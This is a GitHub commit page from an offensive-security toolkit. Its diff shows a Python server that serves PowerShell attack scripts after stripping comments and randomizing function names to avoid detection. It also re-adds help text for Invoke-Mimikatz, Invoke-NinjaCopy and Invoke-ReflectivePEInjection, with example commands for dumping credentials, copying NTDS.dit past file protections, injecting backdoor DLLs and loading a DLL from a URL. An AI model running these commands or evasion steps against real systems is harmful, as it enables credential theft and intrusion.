Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit 365675f

Browse files
author
byt3bl33d3r
committed
Re-added the synopsys sections in the PowerShell scripts
All comments and uneeded sections get dynamically removed when the script is requested
1 parent 3a7479d commit 365675f

File tree

5 files changed

+500
-2
lines changed

5 files changed

+500
-2
lines changed

core/servers/mimikatz.py

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@
1111

1212
func_name = re.compile('CHANGE_ME_HERE')
1313
comments = re.compile('#.+')
14+
synopsis = re.compile('<#.+#>')
1415

1516
class MimikatzServer(BaseHTTPRequestHandler):
1617

@@ -23,8 +24,10 @@ def do_GET(self):
2324
self.end_headers()
2425
with open('hosted/'+ self.path[4:], 'rb') as script:
2526
ps_script = script.read()
26-
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script)
27-
ps_script = comments.sub('', ps_script)
27+
ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys
28+
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) #Randomizes the function name
29+
ps_script = comments.sub('', ps_script) #Removes the comments
30+
#logging.info('Sending the following modified powershell script: {}'.format(ps_script))
2831
self.wfile.write(ps_script)
2932

3033
elif settings.args.path:

hosted/Invoke-Mimikatz.ps1

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,77 @@
11
function Invoke-CHANGE_ME_HERE
22
{
3+
<#
4+
.SYNOPSIS
5+
6+
This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
7+
dump credentials without ever writing the mimikatz binary to disk.
8+
The script has a ComputerName parameter which allows it to be executed against multiple computers.
9+
10+
This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.
11+
12+
Function: Invoke-Mimikatz
13+
Author: Joe Bialek, Twitter: @JosephBialek
14+
Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: [email protected]. Twitter @gentilkiwi
15+
License: http://creativecommons.org/licenses/by/3.0/fr/
16+
Required Dependencies: Mimikatz (included)
17+
Optional Dependencies: None
18+
Version: 1.5
19+
ReflectivePEInjection version: 1.1
20+
Mimikatz version: 2.0 alpha (2/16/2015)
21+
22+
.DESCRIPTION
23+
24+
Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any
25+
functionality provided with Mimikatz.
26+
27+
.PARAMETER DumpCreds
28+
29+
Switch: Use mimikatz to dump credentials out of LSASS.
30+
31+
.PARAMETER DumpCerts
32+
33+
Switch: Use mimikatz to export all private certificates (even if they are marked non-exportable).
34+
35+
.PARAMETER Command
36+
37+
Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz "privilege::debug exit" as an example.
38+
39+
.PARAMETER ComputerName
40+
41+
Optional, an array of computernames to run the script on.
42+
43+
.EXAMPLE
44+
45+
Execute mimikatz on the local computer to dump certificates.
46+
Invoke-Mimikatz -DumpCerts
47+
48+
.EXAMPLE
49+
50+
Execute mimikatz on two remote computers to dump credentials.
51+
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")
52+
53+
.EXAMPLE
54+
55+
Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits
56+
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"
57+
58+
.NOTES
59+
This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the Mimikatz code written by Benjamin DELPY
60+
Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
61+
Find mimikatz at: http://blog.gentilkiwi.com
62+
63+
.LINK
64+
65+
Blog: http://clymb3r.wordpress.com/
66+
Benjamin DELPY blog: http://blog.gentilkiwi.com
67+
68+
Github repo: https://github.com/clymb3r/PowerShell
69+
mimikatz Github repo: https://github.com/gentilkiwi/mimikatz
70+
71+
Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
72+
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
73+
74+
#>
375

476
[CmdletBinding(DefaultParameterSetName="DumpCreds")]
577
Param(

hosted/Invoke-NinjaCopy.ps1

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,97 @@
11
function Invoke-CHANGE_ME_HERE
22
{
3+
<#
4+
.SYNOPSIS
5+
6+
This script can copy files off an NTFS volume by opening a read handle to the entire volume (such as c:) and parsing the NTFS structures. This requires you
7+
are an administrator of the server. This allows you to bypass the following protections:
8+
1. Files which are opened by a process and cannot be opened by other processes, such as the NTDS.dit file or SYSTEM registry hives
9+
2. SACL flag set on a file to alert when the file is opened (I'm not using a Win32 API to open the file, so Windows has no clue)
10+
3. Bypass DACL's, such as a DACL which only allows SYSTEM to open a file
11+
12+
If the LocalDestination param is specified, the file will be copied to the file path specified on the local server (the server the script is being run from).
13+
If the RemoteDestination param is specified, the file will be copied to the file path specified on the remote server.
14+
15+
The script works by opening a read handle to the volume (which if logged, may stand out, but I don't think most people log this and other processes do it too).
16+
The script then uses NTFS parsing code written by cyb70289 and posted to CodePlex to parse the NTFS structures. Since the NTFS parsing code is written
17+
in C++, I have compiled the code to a DLL and load it reflective in to PowerShell using the Invoke-ReflectivePEInjection.ps1 script (see below for a link
18+
to the original script).
19+
20+
Script: Invoke-NinjaCopy.ps1
21+
Author: Joe Bialek, Twitter: @JosephBialek
22+
Contributors: This script has a byte array hardcoded, which contains a DLL wich parses NTFS. This NTFS parsing code was written by cyb70289 <[email protected]>
23+
See the following link: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib
24+
The source code is also available with the distribution of this script.
25+
License: GPLv3 or later
26+
Required Dependencies: None
27+
Optional Dependencies: None
28+
Version: 1.1
29+
ReflectivePEInjection version: 1.1
30+
31+
.DESCRIPTION
32+
33+
Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. This bypasses file DACL's,
34+
read handle locks, and SACL's. You must be an administrator to run the script. This can be used to read SYSTEM files which are normally
35+
locked, such as the NTDS.dit file or registry hives.
36+
37+
38+
.PARAMETER Path
39+
40+
The full path of the file to copy (example: c:\filedir\file.txt)
41+
42+
.PARAMETER LocalDestination
43+
44+
Optional, a file path to copy the file to on the local computer. If this isn't used, RemoteDestination must be specified.
45+
46+
.PARAMETER RemoteDestination
47+
48+
Optional, a file path to copy the file to on the remote computer. If this isn't used, LocalDestination must be specified.
49+
50+
.PARAMETER BufferSize
51+
52+
Optional, how many bytes to read at a time from the file. The default is 5MB.
53+
54+
PowerShell will allocate a Byte[] equal to the size of this buffer, so setting this too high can cause PowerShell to use a LOT of RAM. It's
55+
your job to figure out what "too high" is for your situation.
56+
57+
.PARAMETER ComputerName
58+
59+
Optional, an array of computernames to run the script on.
60+
61+
62+
.EXAMPLE
63+
64+
Read the file ntds.dit from a remote server and write it to c:\test\ntds.dit on the local server
65+
$NtdsBytes = Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -ComputerName "Server1" -LocalDestination "c:\test\ntds.dit"
66+
67+
.EXAMPLE
68+
69+
Read the file ntds.dit from a remote server and copy it to the temp directory on the remote server.
70+
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -RemoteDestination "c:\windows\temp\ntds.dit" -ComputerName "Server1"
71+
72+
.EXAMPLE
73+
74+
Read the file ntds.dit from the local server and copy it to the temp directory on the local server.
75+
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\windows\temp\ntds.dit"
76+
77+
78+
.NOTES
79+
This script combines two programs. The first is Invoke-ReflectivePEInjection, links can be found below to the original source.
80+
This is a PowerShell script which can reflectively load EXE's/DLL's.
81+
82+
The second program is NTFS parsing code written in C++ by cyb70289 <[email protected]> and posted to CodeProject. I have compiled this
83+
code as a DLL so it can be reflectively loaded by the PowerShell script.
84+
The CodeProject code can be found here: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib
85+
86+
.LINK
87+
88+
Blog: http://clymb3r.wordpress.com/
89+
Github repo: https://github.com/clymb3r/PowerShell
90+
NTFS Parsing Code: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib
91+
92+
Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
93+
94+
#>
395

496
[CmdletBinding()]
597
Param(

hosted/Invoke-ReflectivePEInjection.ps1

Lines changed: 181 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,186 @@
11
function Invoke-CHANGE_ME_HERE
22
{
3+
<#
4+
.SYNOPSIS
5+
6+
This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
7+
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
8+
please lead the Notes section (GENERAL NOTES) for information on how to use them.
9+
10+
11+
1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
12+
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
13+
14+
This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
15+
this will load and execute the DLL/EXE in to memory without writing any files to disk.
16+
17+
18+
2.) Reflectively load a DLL in to memory of a remote process.
19+
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
20+
21+
This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
22+
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
23+
remote process.
24+
25+
26+
While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array
27+
containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will
28+
bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba
29+
blog linked below (thanks to whitey).
30+
31+
PowerSploit Function: Invoke-ReflectivePEInjection
32+
Author: Joe Bialek, Twitter: @JosephBialek
33+
License: BSD 3-Clause
34+
Required Dependencies: None
35+
Optional Dependencies: None
36+
Version: 1.4
37+
38+
.DESCRIPTION
39+
40+
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
41+
42+
.PARAMETER PEPath
43+
44+
The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer.
45+
46+
.PARAMETER PEUrl
47+
48+
A URL containing a DLL/EXE to load and execute.
49+
50+
.PARAMETER PEBytes
51+
52+
A byte array containing a DLL/EXE to load and execute.
53+
54+
.PARAMETER ComputerName
55+
56+
Optional, an array of computernames to run the script on.
57+
58+
.PARAMETER FuncReturnType
59+
60+
Optional, the return type of the function being called in the DLL. Default: Void
61+
Options: String, WString, Void. See notes for more information.
62+
IMPORTANT: For DLLs being loaded remotely, only Void is supported.
63+
64+
.PARAMETER ExeArgs
65+
66+
Optional, arguments to pass to the executable being reflectively loaded.
67+
68+
.PARAMETER ProcName
69+
70+
Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
71+
72+
.PARAMETER ProcId
73+
74+
Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
75+
76+
.PARAMETER ForceASLR
77+
78+
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
79+
if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
80+
loading in to a remote process.
81+
82+
.EXAMPLE
83+
84+
Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
85+
Note that the file name on the website can be any file extension.
86+
Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
87+
88+
.EXAMPLE
89+
90+
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
91+
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local
92+
93+
.EXAMPLE
94+
95+
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
96+
the wchar_t* returned by WStringFunc() from all the computers.
97+
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
98+
99+
.EXAMPLE
100+
101+
Load DemoEXE and run it locally.
102+
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4"
103+
104+
.EXAMPLE
105+
106+
Load DemoEXE and run it locally. Forces ASLR on for the EXE.
107+
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
108+
109+
.EXAMPLE
110+
111+
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
112+
Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
113+
114+
.EXAMPLE
115+
116+
Load a PE from a byte array.
117+
Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4"
118+
119+
.NOTES
120+
GENERAL NOTES:
121+
The script has 3 basic sets of functionality:
122+
1.) Reflectively load a DLL in to the PowerShell process
123+
-Can return DLL output to user when run remotely or locally.
124+
-Cleans up memory in the PS process once the DLL finishes executing.
125+
-Great for running pentest tools on remote computers without triggering process monitoring alerts.
126+
-By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
127+
2.) Reflectively load an EXE in to the PowerShell process.
128+
-Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.
129+
-Cleans up memory in the PS process once the DLL finishes executing.
130+
-Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
131+
3.) Reflectively inject a DLL in to a remote process.
132+
-Can NOT return DLL output to the user when run remotely OR locally.
133+
-Does NOT clean up memory in the remote process if/when DLL finishes execution.
134+
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
135+
-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
136+
137+
138+
139+
DLL LOADING NOTES:
140+
141+
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
142+
If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
143+
return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell
144+
remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from
145+
applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.
146+
147+
For DLL Loading:
148+
Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE"
149+
I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return
150+
the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the
151+
returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:
152+
wchar_t* : FuncReturnType = WString
153+
char* : FuncReturnType = String
154+
void : Default, don't supply a FuncReturnType
155+
156+
For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string
157+
using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.
158+
159+
The function name expected in the DLL for the prewritten FuncReturnType's is as follows:
160+
WString : WStringFunc
161+
String : StringFunc
162+
Void : VoidFunc
163+
164+
These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would
165+
be declared as follows:
166+
extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
167+
168+
169+
If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
170+
this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE".
171+
172+
Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection
173+
174+
.LINK
175+
176+
Blog: http://clymb3r.wordpress.com/
177+
Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
178+
179+
Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
180+
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
181+
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
182+
183+
#>
3184

4185
[CmdletBinding(DefaultParameterSetName="WebFile")]
5186
Param(

0 commit comments

Comments
 (0)